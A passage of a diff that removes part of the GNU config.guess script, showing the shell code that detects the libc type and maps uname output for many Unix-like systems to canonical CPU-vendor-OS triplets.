-Linux|GNU|GNU/*) - LIBC=unknown - - set_cc_for_build - cat <<-EOF > "$dummy.c" - #include - #if defined(__UCLIBC__) - LIBC=uclibc - #elif defined(__dietlibc__) - LIBC=dietlibc - #elif defined(__GLIBC__) - LIBC=gnu - #else - #include - /* First heuristic to detect musl libc. */ - #ifdef __DEFINED_va_list - LIBC=musl - #endif - #endif - EOF - eval "$($CC_FOR_BUILD -E "$dummy.c" 2>/dev/null | grep '^LIBC' | sed 's, ,,g')" - - # Second heuristic to detect musl libc. - if [ "$LIBC" = unknown ] && - command -v ldd >/dev/null && - ldd --version 2>&1 | grep -q ^musl; then - LIBC=musl - fi - - # If the system lacks a compiler, then just pick glibc. - # We could probably try harder. - if [ "$LIBC" = unknown ]; then - LIBC=gnu - fi - ;; -esac - -# Note: order is significant - the case branches are not exclusive. - -case "$UNAME_MACHINE:$UNAME_SYSTEM:$UNAME_RELEASE:$UNAME_VERSION" in - *:NetBSD:*:*) - # NetBSD (nbsd) targets should (where applicable) match one or - # more of the tuples: *-*-netbsdelf*, *-*-netbsdaout*, - # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently - # switched to ELF, *-*-netbsd* would select the old - # object file format. This provides both forward - # compatibility and a consistent mechanism for selecting the - # object file format. - # - # Note: NetBSD doesn't particularly care about the vendor - # portion of the name. We always set it to "unknown". - UNAME_MACHINE_ARCH=$( (uname -p 2>/dev/null || \ - /sbin/sysctl -n hw.machine_arch 2>/dev/null || \ - /usr/sbin/sysctl -n hw.machine_arch 2>/dev/null || \ - echo unknown)) - case "$UNAME_MACHINE_ARCH" in - aarch64eb) machine=aarch64_be-unknown ;; - armeb) machine=armeb-unknown ;; - arm*) machine=arm-unknown ;; - sh3el) machine=shl-unknown ;; - sh3eb) machine=sh-unknown ;; - sh5el) machine=sh5le-unknown ;; - earmv*) - arch=$(echo "$UNAME_MACHINE_ARCH" | sed -e 's,^e\(armv[0-9]\).*$,\1,') - endian=$(echo "$UNAME_MACHINE_ARCH" | sed -ne 's,^.*\(eb\)$,\1,p') - machine="${arch}${endian}"-unknown - ;; - *) machine="$UNAME_MACHINE_ARCH"-unknown ;; - esac - # The Operating System including object format, if it has switched - # to ELF recently (or will in the future) and ABI. - case "$UNAME_MACHINE_ARCH" in - earm*) - os=netbsdelf - ;; - arm*|i386|m68k|ns32k|sh3*|sparc|vax) - set_cc_for_build - if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ - | grep -q __ELF__ - then - # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). - # Return netbsd for either. FIX? - os=netbsd - else - os=netbsdelf - fi - ;; - *) - os=netbsd - ;; - esac - # Determine ABI tags. - case "$UNAME_MACHINE_ARCH" in - earm*) - expr='s/^earmv[0-9]/-eabi/;s/eb$//' - abi=$(echo "$UNAME_MACHINE_ARCH" | sed -e "$expr") - ;; - esac - # The OS release - # Debian GNU/NetBSD machines have a different userland, and - # thus, need a distinct triplet. However, they do not need - # kernel version information, so it can be replaced with a - # suitable tag, in the style of linux-gnu. - case "$UNAME_VERSION" in - Debian*) - release='-gnu' - ;; - *) - release=$(echo "$UNAME_RELEASE" | sed -e 's/[-_].*//' | cut -d. -f1,2) - ;; - esac - # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: - # contains redundant information, the shorter form: - # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. - echo "$machine-${os}${release}${abi-}" - exit ;; - *:Bitrig:*:*) - UNAME_MACHINE_ARCH=$(arch | sed 's/Bitrig.//') - echo "$UNAME_MACHINE_ARCH"-unknown-bitrig"$UNAME_RELEASE" - exit ;; - *:OpenBSD:*:*) - UNAME_MACHINE_ARCH=$(arch | sed 's/OpenBSD.//') - echo "$UNAME_MACHINE_ARCH"-unknown-openbsd"$UNAME_RELEASE" - exit ;; - *:LibertyBSD:*:*) - UNAME_MACHINE_ARCH=$(arch | sed 's/^.*BSD\.//') - echo "$UNAME_MACHINE_ARCH"-unknown-libertybsd"$UNAME_RELEASE" - exit ;; - *:MidnightBSD:*:*) - echo "$UNAME_MACHINE"-unknown-midnightbsd"$UNAME_RELEASE" - exit ;; - *:ekkoBSD:*:*) - echo "$UNAME_MACHINE"-unknown-ekkobsd"$UNAME_RELEASE" - exit ;; - *:SolidBSD:*:*) - echo "$UNAME_MACHINE"-unknown-solidbsd"$UNAME_RELEASE" - exit ;; - *:OS108:*:*) - echo "$UNAME_MACHINE"-unknown-os108_"$UNAME_RELEASE" - exit ;; - macppc:MirBSD:*:*) - echo powerpc-unknown-mirbsd"$UNAME_RELEASE" - exit ;; - *:MirBSD:*:*) - echo "$UNAME_MACHINE"-unknown-mirbsd"$UNAME_RELEASE" - exit ;; - *:Sortix:*:*) - echo "$UNAME_MACHINE"-unknown-sortix - exit ;; - *:Twizzler:*:*) - echo "$UNAME_MACHINE"-unknown-twizzler - exit ;; - *:Redox:*:*) - echo "$UNAME_MACHINE"-unknown-redox - exit ;; - mips:OSF1:*.*) - echo mips-dec-osf1 - exit ;; - alpha:OSF1:*:*) - case $UNAME_RELEASE in - *4.0) - UNAME_RELEASE=$(/usr/sbin/sizer -v | awk '{print $3}') - ;; - *5.*) - UNAME_RELEASE=$(/usr/sbin/sizer -v | awk '{print $4}') - ;; - esac - # According to Compaq, /usr/sbin/psrinfo has been available on - # OSF/1 and Tru64 systems produced since 1995. I hope that - # covers most systems running today. This code pipes the CPU - # types through head -n 1, so we only detect the type of CPU 0. - ALPHA_CPU_TYPE=$(/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1) - case "$ALPHA_CPU_TYPE" in - "EV4 (21064)") - UNAME_MACHINE=alpha ;; - "EV4.5 (21064)") - UNAME_MACHINE=alpha ;; - "LCA4 (21066/21068)") - UNAME_MACHINE=alpha ;; - "EV5 (21164)") - UNAME_MACHINE=alphaev5 ;; - "EV5.6 (21164A)") - UNAME_MACHINE=alphaev56 ;; - "EV5.6 (21164PC)") - UNAME_MACHINE=alphapca56 ;; - "EV5.7 (21164PC)") - UNAME_MACHINE=alphapca57 ;; - "EV6 (21264)") - UNAME_MACHINE=alphaev6 ;; - "EV6.7 (21264A)") - UNAME_MACHINE=alphaev67 ;; - "EV6.8CB (21264C)") - UNAME_MACHINE=alphaev68 ;; - "EV6.8AL (21264B)") - UNAME_MACHINE=alphaev68 ;; - "EV6.8CX (21264D)") - UNAME_MACHINE=alphaev68 ;; - "EV6.9A (21264/EV69A)") - UNAME_MACHINE=alphaev69 ;; - "EV7 (21364)") - UNAME_MACHINE=alphaev7 ;; - "EV7.9 (21364A)") - UNAME_MACHINE=alphaev79 ;; - esac - # A Pn.n version is a patched version. - # A Vn.n version is a released version. - # A Tn.n version is a released field test version. - # A Xn.n version is an unreleased experimental baselevel. - # 1.2 uses "1.2" for uname -r. - echo "$UNAME_MACHINE"-dec-osf"$(echo "$UNAME_RELEASE" | sed -e 's/^[PVTX]//' | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz)" - # Reset EXIT trap before exiting to avoid spurious non-zero exit code. - exitcode=$? - trap '' 0 - exit $exitcode ;; - Amiga*:UNIX_System_V:4.0:*) - echo m68k-unknown-sysv4 - exit ;; - *:[Aa]miga[Oo][Ss]:*:*) - echo "$UNAME_MACHINE"-unknown-amigaos - exit ;; - *:[Mm]orph[Oo][Ss]:*:*) - echo "$UNAME_MACHINE"-unknown-morphos - exit ;; - *:OS/390:*:*) - echo i370-ibm-openedition - exit ;; - *:z/VM:*:*) - echo s390-ibm-zvmoe - exit ;; - *:OS400:*:*) - echo powerpc-ibm-os400 - exit ;; - arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) - echo arm-acorn-riscix"$UNAME_RELEASE" - exit ;; - arm*:riscos:*:*|arm*:RISCOS:*:*) - echo arm-unknown-riscos - exit ;; - SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) - echo hppa1.1-hitachi-hiuxmpp - exit ;; - Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) - # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. - if test "$( (/bin/universe) 2>/dev/null)" = att ; then - echo pyramid-pyramid-sysv3 - else - echo pyramid-pyramid-bsd - fi - exit ;; - NILE*:*:*:dcosx) - echo pyramid-pyramid-svr4 - exit ;; - DRS?6000:unix:4.0:6*) - echo sparc-icl-nx6 - exit ;; - DRS?6000:UNIX_SV:4.2*:7* | DRS?6000:isis:4.2*:7*) - case $(/usr/bin/uname -p) in - sparc) echo sparc-icl-nx7; exit ;; - esac ;; - s390x:SunOS:*:*) - echo "$UNAME_MACHINE"-ibm-solaris2"$(echo "$UNAME_RELEASE" | sed -e 's/[^.]*//')" - exit ;; - sun4H:SunOS:5.*:*) - echo sparc-hal-solaris2"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')" - exit ;; - sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) - echo sparc-sun-solaris2"$(echo "$UNAME_RELEASE" | sed -e 's/[^.]*//')" - exit ;; - i86pc:AuroraUX:5.*:* | i86xen:AuroraUX:5.*:*) - echo i386-pc-auroraux"$UNAME_RELEASE" - exit ;; - i86pc:SunOS:5.*:* | i86xen:SunOS:5.*:*) - set_cc_for_build - SUN_ARCH=i386 - # If there is a compiler, see if it is configured for 64-bit objects. - # Note that the Sun cc does not turn __LP64__ into 1 like gcc does. - # This test works for both compilers. - if test "$CC_FOR_BUILD" != no_compiler_found; then - if (echo '#ifdef __amd64'; echo IS_64BIT_ARCH; echo '#endif') | \ - (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ - grep IS_64BIT_ARCH >/dev/null - then - SUN_ARCH=x86_64 - fi - fi - echo "$SUN_ARCH"-pc-solaris2"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')" - exit ;; - sun4*:SunOS:6*:*) - # According to config.sub, this is the proper way to canonicalize - # SunOS6. Hard to guess exactly what SunOS6 will be like, but - # it's likely to be more like Solaris than SunOS4. - echo sparc-sun-solaris3"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')" - exit ;; - sun4*:SunOS:*:*) - case "$(/usr/bin/arch -k)" in - Series*|S4*) - UNAME_RELEASE=$(uname -v) - ;; - esac - # Japanese Language versions have a version number like `4.1.3-JL'. - echo sparc-sun-sunos"$(echo "$UNAME_RELEASE"|sed -e 's/-/_/')" - exit ;; - sun3*:SunOS:*:*) - echo m68k-sun-sunos"$UNAME_RELEASE" - exit ;; - sun*:*:4.2BSD:*) - UNAME_RELEASE=$( (sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null) - test "x$UNAME_RELEASE" = x && UNAME_RELEASE=3 - case "$(/bin/arch)" in - sun3) - echo m68k-sun-sunos"$UNAME_RELEASE" - ;; - sun4) - echo sparc-sun-sunos"$UNAME_RELEASE" - ;; - esac - exit ;; - aushp:SunOS:*:*) - echo sparc-auspex-sunos"$UNAME_RELEASE" - exit ;; - # The situation for MiNT is a little confusing. The machine name - # can be virtually everything (everything which is not - # "atarist" or "atariste" at least should have a processor - # > m68000). The system name ranges from "MiNT" over "FreeMiNT" - # to the lowercase version "mint" (or "freemint"). Finally - # the system name "TOS" denotes a system which is actually not - # MiNT. But MiNT is downward compatible to TOS, so this should - # be no problem. - atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) - echo m68k-atari-mint"$UNAME_RELEASE" - exit ;; - atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) - echo m68k-atari-mint"$UNAME_RELEASE" - exit ;; - *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) - echo m68k-atari-mint"$UNAME_RELEASE" - exit ;; - milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) - echo m68k-milan-mint"$UNAME_RELEASE" - exit ;; - hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) - echo m68k-hades-mint"$UNAME_RELEASE" - exit ;; - *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) - echo m68k-unknown-mint"$UNAME_RELEASE" - exit ;; - m68k:machten:*:*) - echo m68k-apple-machten"$UNAME_RELEASE" - exit ;; - powerpc:machten:*:*) - echo powerpc-apple-machten"$UNAME_RELEASE" - exit ;; - RISC*:Mach:*:*) - echo mips-dec-mach_bsd4.3 - exit ;; - RISC*:ULTRIX:*:*) - echo mips-dec-ultrix"$UNAME_RELEASE" - exit ;; - VAX*:ULTRIX*:*:*) - echo vax-dec-ultrix"$UNAME_RELEASE" - exit ;; - 2020:CLIX:*:* | 2430:CLIX:*:*) - echo clipper-intergraph-clix"$UNAME_RELEASE" - exit ;; - mips:*:*:UMIPS | mips:*:*:RISCos) - set_cc_for_build - sed 's/^ //' << EOF > "$dummy.c" -#ifdef __cplusplus -#include /* for printf() prototype */ - int main (int argc, char *argv[]) { -#else - int main (argc, argv) int argc; char *argv[]; { -#endif - #if defined (host_mips) && defined (MIPSEB) - #if defined (SYSTYPE_SYSV) - printf ("mips-mips-riscos%ssysv\\n", argv[1]); exit (0); - #endif - #if defined (SYSTYPE_SVR4) - printf ("mips-mips-riscos%ssvr4\\n", argv[1]); exit (0); - #endif - #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) - printf ("mips-mips-riscos%sbsd\\n", argv[1]); exit (0); - #endif - #endif - exit (-1); - } -EOF - $CC_FOR_BUILD -o "$dummy" "$dummy.c" && - dummyarg=$(echo "$UNAME_RELEASE" | sed -n 's/\([0-9]*\).*/\1/p') && - SYSTEM_NAME=$("$dummy" "$dummyarg") && - { echo "$SYSTEM_NAME"; exit; } - echo mips-mips-riscos"$UNAME_RELEASE" - exit ;; - Motorola:PowerMAX_OS:*:*) - echo powerpc-motorola-powermax - exit ;; - Motorola:*:4.3:PL8-*) - echo powerpc-harris-powermax - exit ;; - Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) - echo powerpc-harris-powermax - exit ;; - Night_Hawk:Power_UNIX:*:*) - echo powerpc-harris-powerunix - exit ;; - m88k:CX/UX:7*:*) - echo m88k-harris-cxux7 - exit ;; - m88k:*:4*:R4*) - echo m88k-motorola-sysv4 - exit ;; - m88k:*:3*:R3*) - echo m88k-motorola-sysv3 - exit ;; - AViiON:dgux:*:*) - # DG/UX returns AViiON for all architectures - UNAME_PROCESSOR=$(/usr/bin/uname -p) - if test "$UNAME_PROCESSOR" = mc88100 || test "$UNAME_PROCESSOR" = mc88110 - then - if test "$TARGET_BINARY_INTERFACE"x = m88kdguxelfx || \ - test "$TARGET_BINARY_INTERFACE"x = x - then - echo m88k-dg-dgux"$UNAME_RELEASE" - else - echo m88k-dg-dguxbcs"$UNAME_RELEASE" - fi - else - echo i586-dg-dgux"$UNAME_RELEASE" - fi - exit ;; - M88*:DolphinOS:*:*) # DolphinOS (SVR3) - echo m88k-dolphin-sysv3 - exit ;; - M88*:*:R3*:*) - # Delta 88k system running SVR3 - echo m88k-motorola-sysv3 - exit ;; - XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) - echo m88k-tektronix-sysv3 - exit ;; - Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) - echo m68k-tektronix-bsd - exit ;; - *:IRIX*:*:*) - echo mips-sgi-irix"$(echo "$UNAME_RELEASE"|sed -e 's/-/_/g')" - exit ;; - ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. - echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id - exit ;; # Note that: echo "'$(uname -s)'" gives 'AIX ' - i*86:AIX:*:*) - echo i386-ibm-aix - exit ;; - ia64:AIX:*:*) - if test -x /usr/bin/oslevel ; then - IBM_REV=$(/usr/bin/oslevel) - else - IBM_REV="$UNAME_VERSION.$UNAME_RELEASE" - fi - echo "$UNAME_MACHINE"-ibm-aix"$IBM_REV" - exit ;; - *:AIX:2:3) - if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then - set_cc_for_build - sed 's/^ //' << EOF > "$dummy.c" - #include - - main() - { - if (!__power_pc()) - exit(1); - puts("powerpc-ibm-aix3.2.5"); - exit(0); - } -EOF - if $CC_FOR_BUILD -o "$dummy" "$dummy.c" && SYSTEM_NAME=$("$dummy") - then - echo "$SYSTEM_NAME" - else - echo rs6000-ibm-aix3.2.5 - fi - elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then - echo rs6000-ibm-aix3.2.4 - else - echo rs6000-ibm-aix3.2 - fi - exit ;; - *:AIX:*:[4567]) - IBM_CPU_ID=$(/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }') - if /usr/sbin/lsattr -El "$IBM_CPU_ID" | grep ' POWER' >/dev/null 2>&1; then - IBM_ARCH=rs6000 - else - IBM_ARCH=powerpc - fi - if test -x /usr/bin/lslpp ; then - IBM_REV=$(/usr/bin/lslpp -Lqc bos.rte.libc | - awk -F: '{ print $3 }' | sed s/[0-9]*$/0/) - else - IBM_REV="$UNAME_VERSION.$UNAME_RELEASE" - fi - echo "$IBM_ARCH"-ibm-aix"$IBM_REV" - exit ;; - *:AIX:*:*) - echo rs6000-ibm-aix - exit ;; - ibmrt:4.4BSD:*|romp-ibm:4.4BSD:*) - echo romp-ibm-bsd4.4 - exit ;; - ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and - echo romp-ibm-bsd"$UNAME_RELEASE" # 4.3 with uname added to - exit ;; # report: romp-ibm BSD 4.3 - *:BOSX:*:*) - echo rs6000-bull-bosx - exit ;; - DPX/2?00:B.O.S.:*:*) - echo m68k-bull-sysv3 - exit ;; - 9000/[34]??:4.3bsd:1.*:*) - echo m68k-hp-bsd - exit ;; - hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) - echo m68k-hp-bsd4.4 - exit ;; - 9000/[34678]??:HP-UX:*:*) - HPUX_REV=$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*.[0B]*//') - case "$UNAME_MACHINE" in - 9000/31?) HP_ARCH=m68000 ;; - 9000/[34]??) HP_ARCH=m68k ;; - 9000/[678][0-9][0-9]) - if test -x /usr/bin/getconf; then - sc_cpu_version=$(/usr/bin/getconf SC_CPU_VERSION 2>/dev/null) - sc_kernel_bits=$(/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null) - case "$sc_cpu_version" in - 523) HP_ARCH=hppa1.0 ;; # CPU_PA_RISC1_0 - 528) HP_ARCH=hppa1.1 ;; # CPU_PA_RISC1_1 - 532) # CPU_PA_RISC2_0 - case "$sc_kernel_bits" in - 32) HP_ARCH=hppa2.0n ;; - 64) HP_ARCH=hppa2.0w ;; - '') HP_ARCH=hppa2.0 ;; # HP-UX 10.20 - esac ;; - esac - fi - if test "$HP_ARCH" = ""; then - set_cc_for_build - sed 's/^ //' << EOF > "$dummy.c" - - #define _HPUX_SOURCE - #include - #include - - int main () - { - #if defined(_SC_KERNEL_BITS) - long bits = sysconf(_SC_KERNEL_BITS); - #endif - long cpu = sysconf (_SC_CPU_VERSION); - - switch (cpu) - { - case CPU_PA_RISC1_0: puts ("hppa1.0"); break; - case CPU_PA_RISC1_1: puts ("hppa1.1"); break; - case CPU_PA_RISC2_0: - #if defined(_SC_KERNEL_BITS) - switch (bits) - { - case 64: puts ("hppa2.0w"); break; - case 32: puts ("hppa2.0n"); break; - default: puts ("hppa2.0"); break; - } break; - #else /* !defined(_SC_KERNEL_BITS) */ - puts ("hppa2.0"); break; - #endif - default: puts ("hppa1.0"); break; - } - exit (0); - } -EOF - (CCOPTS="" $CC_FOR_BUILD -o "$dummy" "$dummy.c" 2>/dev/null) && HP_ARCH=$("$dummy") - test -z "$HP_ARCH" && HP_ARCH=hppa - fi ;; - esac - if test "$HP_ARCH" = hppa2.0w - then - set_cc_for_build - - # hppa2.0w-hp-hpux* has a 64-bit kernel and a compiler generating - # 32-bit code. hppa64-hp-hpux* has the same kernel and a compiler - # generating 64-bit code. GNU and HP use different nomenclature: - # - # $ CC_FOR_BUILD=cc ./config.guess - # => hppa2.0w-hp-hpux11.23 - # $ CC_FOR_BUILD="cc +DA2.0w" ./config.guess - # => hppa64-hp-hpux11.23 - - if echo __LP64__ | (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | - grep -q __LP64__ - then - HP_ARCH=hppa2.0w - else - HP_ARCH=hppa64 - fi - fi - echo "$HP_ARCH"-hp-hpux"$HPUX_REV" - exit ;; - ia64:HP-UX:*:*) - HPUX_REV=$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*.[0B]*//') - echo ia64-hp-hpux"$HPUX_REV" - exit ;; - 3050*:HI-UX:*:*) - set_cc_for_build - sed 's/^ //' << EOF > "$dummy.c" - #include - int - main () - { - long cpu = sysconf (_SC_CPU_VERSION); - /* The order matters, because CPU_IS_HP_MC68K erroneously returns - true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct - results, however. */ - if (CPU_IS_PA_RISC (cpu)) - { - switch (cpu) - { - case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; - case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; - case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; - default: puts ("hppa-hitachi-hiuxwe2"); break; - } - } - else if (CPU_IS_HP_MC68K (cpu)) - puts ("m68k-hitachi-hiuxwe2"); - else puts ("unknown-hitachi-hiuxwe2"); - exit (0); - } -EOF - $CC_FOR_BUILD -o "$dummy" "$dummy.c" && SYSTEM_NAME=$("$dummy") && - { echo "$SYSTEM_NAME"; exit; } - echo unknown-hitachi-hiuxwe2 - exit ;; - 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:*) - echo hppa1.1-hp-bsd - exit ;; - 9000/8??:4.3bsd:*:*) - echo hppa1.0-hp-bsd - exit ;; - *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) - echo hppa1.0-hp-mpeix - exit ;; - hp7??:OSF1:*:* | hp8?[79]:OSF1:*:*) - echo hppa1.1-hp-osf - exit ;; - hp8??:OSF1:*:*) - echo hppa1.0-hp-osf - exit ;; - i*86:OSF1:*:*) - if test -x /usr/sbin/sysversion ; then - echo "$UNAME_MACHINE"-unknown-osf1mk - else - echo "$UNAME_MACHINE"-unknown-osf1 - fi - exit ;; - parisc*:Lites*:*:*) - echo hppa1.1-hp-lites - exit ;; - C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) - echo c1-convex-bsd - exit ;; - C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) - if getsysinfo -f scalar_acc - then echo c32-convex-bsd - else echo c2-convex-bsd - fi - exit ;; - C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) - echo c34-convex-bsd - exit ;; - C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) - echo c38-convex-bsd - exit ;; - C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) - echo c4-convex-bsd - exit ;; - CRAY*Y-MP:*:*:*) - echo ymp-cray-unicos"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - CRAY*[A-Z]90:*:*:*) - echo "$UNAME_MACHINE"-cray-unicos"$UNAME_RELEASE" \ - | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ - -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ - -e 's/\.[^.]*$/.X/' - exit ;; - CRAY*TS:*:*:*) - echo t90-cray-unicos"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - CRAY*T3E:*:*:*) - echo alphaev5-cray-unicosmk"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - CRAY*SV1:*:*:*) - echo sv1-cray-unicos"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - *:UNICOS/mp:*:*) - echo craynv-cray-unicosmp"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) - FUJITSU_PROC=$(uname -m | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz) - FUJITSU_SYS=$(uname -p | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/\///') - FUJITSU_REL=$(echo "$UNAME_RELEASE" | sed -e 's/ /_/') - echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" - exit ;; - 5000:UNIX_System_V:4.*:*) - FUJITSU_SYS=$(uname -p | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/\///') - FUJITSU_REL=$(echo "$UNAME_RELEASE" | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/ /_/') - echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" - exit ;; - i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) - echo "$UNAME_MACHINE"-pc-bsdi"$UNAME_RELEASE" - exit ;; - sparc*:BSD/OS:*:*) - echo sparc-unknown-bsdi"$UNAME_RELEASE" - exit ;; - *:BSD/OS:*:*) - echo "$UNAME_MACHINE"-unknown-bsdi"$UNAME_RELEASE" - exit ;; - arm:FreeBSD:*:*) - UNAME_PROCESSOR=$(uname -p) - set_cc_for_build - if echo __ARM_PCS_VFP | $CC_FOR_BUILD -E - 2>/dev/null \ - | grep -q __ARM_PCS_VFP - then - echo "${UNAME_PROCESSOR}"-unknown-freebsd"$(echo ${UNAME_RELEASE}|sed -e 's/[-(].*//')"-gnueabi - else - echo "${UNAME_PROCESSOR}"-unknown-freebsd"$(echo ${UNAME_RELEASE}|sed -e 's/[-(].*//')"-gnueabihf - fi - exit ;; - *:FreeBSD:*:*) - UNAME_PROCESSOR=$(/usr/bin/uname -p) - case "$UNAME_PROCESSOR" in - amd64) - UNAME_PROCESSOR=x86_64 ;; - i386) - UNAME_PROCESSOR=i586 ;; - esac - echo "$UNAME_PROCESSOR"-unknown-freebsd"$(echo "$UNAME_RELEASE"|sed -e 's/[-(].*//')" - exit ;; - i*:CYGWIN*:*) - echo "$UNAME_MACHINE"-pc-cygwin - exit ;; - *:MINGW64*:*) - echo "$UNAME_MACHINE"-pc-mingw64 - exit ;; - *:MINGW*:*) - echo "$UNAME_MACHINE"-pc-mingw32 - exit ;; - *:MSYS*:*) - echo "$UNAME_MACHINE"-pc-msys - exit ;; - i*:PW*:*) - echo "$UNAME_MACHINE"-pc-pw32 - exit ;; - *:Interix*:*) - case "$UNAME_MACHINE" in - x86) - echo i586-pc-interix"$UNAME_RELEASE" - exit ;; - authenticamd | genuineintel | EM64T) - echo x86_64-unknown-interix"$UNAME_RELEASE" - exit ;; - IA64) - echo ia64-unknown-interix"$UNAME_RELEASE" - exit ;; - esac ;; - i*:UWIN*:*) - echo "$UNAME_MACHINE"-pc-uwin - exit ;; - amd64:CYGWIN*:*:* | x86_64:CYGWIN*:*:*) - echo x86_64-pc-cygwin - exit ;; - prep*:SunOS:5.*:*) - echo powerpcle-unknown-solaris2"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')" - exit ;; - *:GNU:*:*) - # the GNU system - echo "$(echo "$UNAME_MACHINE"|sed -e 's,[-/].*$,,')-unknown-$LIBC$(echo "$UNAME_RELEASE"|sed -e 's,/.*$,,')" - exit ;; - *:GNU/*:*:*) - # other systems with GNU libc and userland - echo "$UNAME_MACHINE-unknown-$(echo "$UNAME_SYSTEM" | sed 's,^[^/]*/,,' | tr "[:upper:]" "[:lower:]")$(echo "$UNAME_RELEASE"|sed -e 's/[-(].*//')-$LIBC" - exit ;; - *:Minix:*:*) - echo "$UNAME_MACHINE"-unknown-minix - exit ;; - aarch64:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - aarch64_be:Linux:*:*) - UNAME_MACHINE=aarch64_be - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - alpha:Linux:*:*) - case $(sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' /proc/cpuinfo 2>/dev/null) in - EV5) UNAME_MACHINE=alphaev5 ;; - EV56) UNAME_MACHINE=alphaev56 ;; - PCA56) UNAME_MACHINE=alphapca56 ;; - PCA57) UNAME_MACHINE=alphapca56 ;; - EV6) UNAME_MACHINE=alphaev6 ;; - EV67) UNAME_MACHINE=alphaev67 ;; - EV68*) UNAME_MACHINE=alphaev68 ;; - esac - objdump --private-headers /bin/sh | grep -q ld.so.1 - if test "$?" = 0 ; then LIBC=gnulibc1 ; fi - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - arc:Linux:*:* | arceb:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - arm*:Linux:*:*) - set_cc_for_build - if echo __ARM_EABI__ | $CC_FOR_BUILD -E - 2>/dev/null \ - | grep -q __ARM_EABI__ - then - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - else - if echo __ARM_PCS_VFP | $CC_FOR_BUILD -E - 2>/dev/null \ - | grep -q __ARM_PCS_VFP - then - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC"eabi - else - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC"eabihf - fi - fi - exit ;; - avr32*:Linux:*:*) - echo 